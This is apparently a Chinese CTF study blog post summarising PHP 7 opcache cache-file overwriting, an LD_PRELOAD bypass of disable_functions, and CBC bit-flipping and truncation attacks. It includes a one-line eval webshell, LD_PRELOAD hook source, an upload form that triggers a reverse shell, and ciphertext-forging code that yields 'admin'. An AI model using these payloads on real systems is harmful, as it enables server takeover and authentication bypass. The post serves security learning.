CTF题目相关漏洞总结(CBC模式加密,opcache,LD_PRELOAD)

0x00 php7 opcache执行 PHP 代码

1. 环境配置

文章介绍:
http://drops.wooyun.org/web/15450
http://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/ 使用docker拉取php:7.0.8-apache镜像,配置使用opcache。php7默认安装了opcache,这里只需要修改下php.ini文件:

1
2
3
4
5
6
[opcache]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20151012/opcache.so
opcache.enable=1
opcache.validate_timestamps=0 ;漏洞利用条件
opcache.file_cache_only=1 ;漏洞利用条件
opcache.file_cache=/var/www/html/opcache

在phpinfo中能看到opcache就成功了。

2. 利用

利用此攻击向量,攻击者可以绕过“Web 目录禁止文件读写”的限制 ,也可以执行他自己的恶意代码。

  • 计算 system_id

使用作者提供的工具php7-opcache-override,算一下system_id

1
2
3
4
5
6
7
8
./system_id_scraper.py http://angelwhu.com:8083/phpinfo.php  

PHP version : 7.0.8
Zend Extension ID : API320151012,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
------------
System ID : 7a838f426f8184a949f4dde75f3ef030

与自己find .搜索下的./opcache/7a838f426f8184a949f4dde75f3ef030/var/www/html/phpinfo.php.bin一样。

  • 利用上传文件漏洞,去替换缓存的php.bin文件

这里可以简单先做个实验: 首先,写一个test.php:

1
2
3
<?php  
echo "test";
?>

访问后,会产生一个./opcache/7a838f426f8184a949f4dde75f3ef030/var/www/html/test.php.bin文件。 然后,删除test.php。访问test.php会返回404。 再次,新建test.php,写入内容:

1
2
3
<?php
echo "test2";
?>

访问之,依然输出:test。
本地使用php7生成一个我们需要的shell文件,然后去覆盖原有的缓存php的bin文件(/opcache/7a838f426f8184a949f4dde75f3ef030/var/www/html/目录),即可完成利用。 这里需要一个上传文件漏洞,并且可以控制上传的目录。具体过程省略,请看参考文章。记录下一个要点:

1
本地生成的payload,用vi -b修改其二进制内容。只需要修改头部system_id即可,其余都不用修改。

0x01 LD_PRELOAD绕过disable_functionopen_basedir

文章介绍:
http://drops.wooyun.org/tips/16054 首先进行环境配置:

1
2
open_basedir = /var/www/html:/tmp
disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec

并且上传了一个shell:

1
2
3
<?php
@eval($_REQUEST[cmd]);
?>

1. LD_PRELOAD hack 样例

verifypasswd.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>\n", argv[0]);
return;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!\n");
return;
}
printf("Invalid Password!\n");
}

编译:

1
gcc verifypasswd.c -o verifypasswd

hack.c:

1
2
3
4
5
6
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);
return 0;
}

编译:

1
2
gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so

运行测试:

1
2
3
4
$ export LD_PRELOAD="./hack.so"
$ ./verifypasswd 123
hack function invoked. s1=<password> s2=<123>
Correct Password!

在调用系统的strcmp前,优先加载了hack.so动态链接库。调用了我们自定义的strcmp函数。

2. 利用

文章介绍:
http://drops.wooyun.org/tips/17248 提取里面的payload,进行编译:

1
2
gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so

上传的时候,碰到了没有临时文件的问题,于是配置了下:

1
upload_tmp_dir = /tmp

上传文件页面,upload.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<form action="http://10.10.10.135/shell_test/shell_basic.php" method="post" enctype="multipart/form-data">
<input type="file" name="hack" id="file">
<textarea input type ="text" name="cmd">

if(isset($_FILES['hack']['name']))
{
var_dump($_FILES);
//$picname = $_FILES['hack']['name'];
putenv("LD_PRELOAD=".$_FILES['hack']['tmp_name']);
mail("a","a","a","a");
die();
}

</textarea>
<input type="submit" name="sub" value="Submit" class="btn btn-success">
</form>

选择上传hack.so 文件即可成功获取反弹shell。

0x02 CBC加密模式

文章介绍:
http://drops.wooyun.org/tips/7828
可以好好看看《白帽子讲web安全》的加密算法章节。 从乌云文章截的图,理解一下CBC模式的解密流程:

Ciphertext-N-1(密文-N-1)是用来产生下一块明文;

我们可以通过改变Ciphertext-N-1(密文-N-1),来构造解密出来的明文。 三个白帽(招聘又开始了,你怕了吗?)题目样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//$pass="密码怎么会告诉你";
$pass = "pass123456~!@#$";

function encrypt( $string ) {
global $pass;

$algorithm = 'rijndael-128';
$key = md5($pass, true);
$iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC );
$iv = mcrypt_create_iv( $iv_length, MCRYPT_RAND );
$encrypted = mcrypt_encrypt( $algorithm, $key, $string, MCRYPT_MODE_CBC, $iv );
$result = base64url_encode( $iv . $encrypted );//iv放在密文中。
return $result;
}

function decrypt( $string ) {
global $pass;
$algorithm = 'rijndael-128';
$key = md5($pass, true );
$iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC );//CBC模式
$string = base64url_decode( $string );
$iv = substr( $string, 0, $iv_length );
$encrypted = substr( $string, $iv_length );
$result = mcrypt_decrypt( $algorithm, $key, $encrypted, MCRYPT_MODE_CBC, $iv );
$result = rtrim($result, "\0");
if (!preg_match("/^\w+$/",$result)) {
$result="";
}
return $result;
}

function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data) {
return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
?>

我们的目的是在不知道key的情况下,伪造一个admin用户出来。(注册不了admin用户)
针对CBC模式攻击有padding Oracle,详情可以看《白帽子讲web安全》。这里记录下两种方法,重现下。

  • CBC模式字节反转攻击

首先注册一个账号为tdmin的账号,与admin只有一个字节的差异。
得到:

1
7x1ws5FicJqiJXViLIxF9NcE1g8diGwjV1KtXLFrdj0

解码会发现是32位,不过有不可见字符:

1
var_dump(base64url_decode("7x1ws5FicJqiJXViLIxF9NcE1g8diGwjV1KtXLFrdj0"));

由于AES128是以16字节为一个块的。根据CBC模式解密的原理,如果改变前面16自己的IV,会影响加密结果。和流密码一样,存在Reused Key Attack攻击。

1
2
AES解密('密文后16位') xor iv(密文前16位) = tdmin  
AES解密('密文后16位') xor ? = admin

求?的值:

1
2
两个等式异或可以得到:  
iv(密文前16位) xor ? = tdmin xor admin

因此,我们只需要改变iv的第一个字节,使t变为a即可:

1
2
3
4
5
6
7
8
9
10
$encrypt_string = substr(base64url_decode("7x1ws5FicJqiJXViLIxF9NcE1g8diGwjV1KtXLFrdj0"),16,16);
$iv = substr(base64url_decode("7x1ws5FicJqiJXViLIxF9NcE1g8diGwjV1KtXLFrdj0"),0,16);

$bit_0 = chr(ord(substr($iv, 0,1)) ^ ord('a') ^ ord('t'));//修改第一个字节,使其解密后为字符'a'

$iv = $bit_0 . substr($iv, 1);

$admin_encrypt_string = base64url_encode($iv.$encrypt_string);

echo decrypt($admin_encrypt_string)."<br />";

结果顺利输出:admin

  • 截取密文一部分

我们看到解密算法中,每个块(block)都是16字节。因此,我们注册一个16字节+admin的用户名,如:

1
1234567890123456admin

得到一个加密结果:4-ymjbq1u1i_vJPE_Cn3uusb-avuQ4R-Pyn52e35BOwSmaG6HiNzDg47n2cvmIE1,解码后为48字节。这48字节的组成为:

1
2
3
密文第一个16字节: iv 
密文第二个16字节: AES加密('1234567890123456'xor 密文第一个16字节)
密文第三个16字节: AES加密('admin' xor 密文第二个16字节 )

根据解密流程,可以知道先从最后一个字节开始解密,即:

1
AES解密(密文第三个16字节) xor 密文第二个16字节 = admin

我们有了上述等式需要的密文第二个和第三个16字节,因此可以直接截取后32个字节:

1
2
3
$admin_encrypt_string_2 = base64_encode(substr(base64url_decode("4-ymjbq1u1i_vJPE_Cn3uusb-avuQ4R-Pyn52e35BOwSmaG6HiNzDg47n2cvmIE1"),16));

echo decrypt($admin_encrypt_string_2)."<br />";

顺利得到admin

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2016/07/02/ctf-topic-related-vulnerability-summary-cbc-mode-encryption-opcache-ldpreload/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog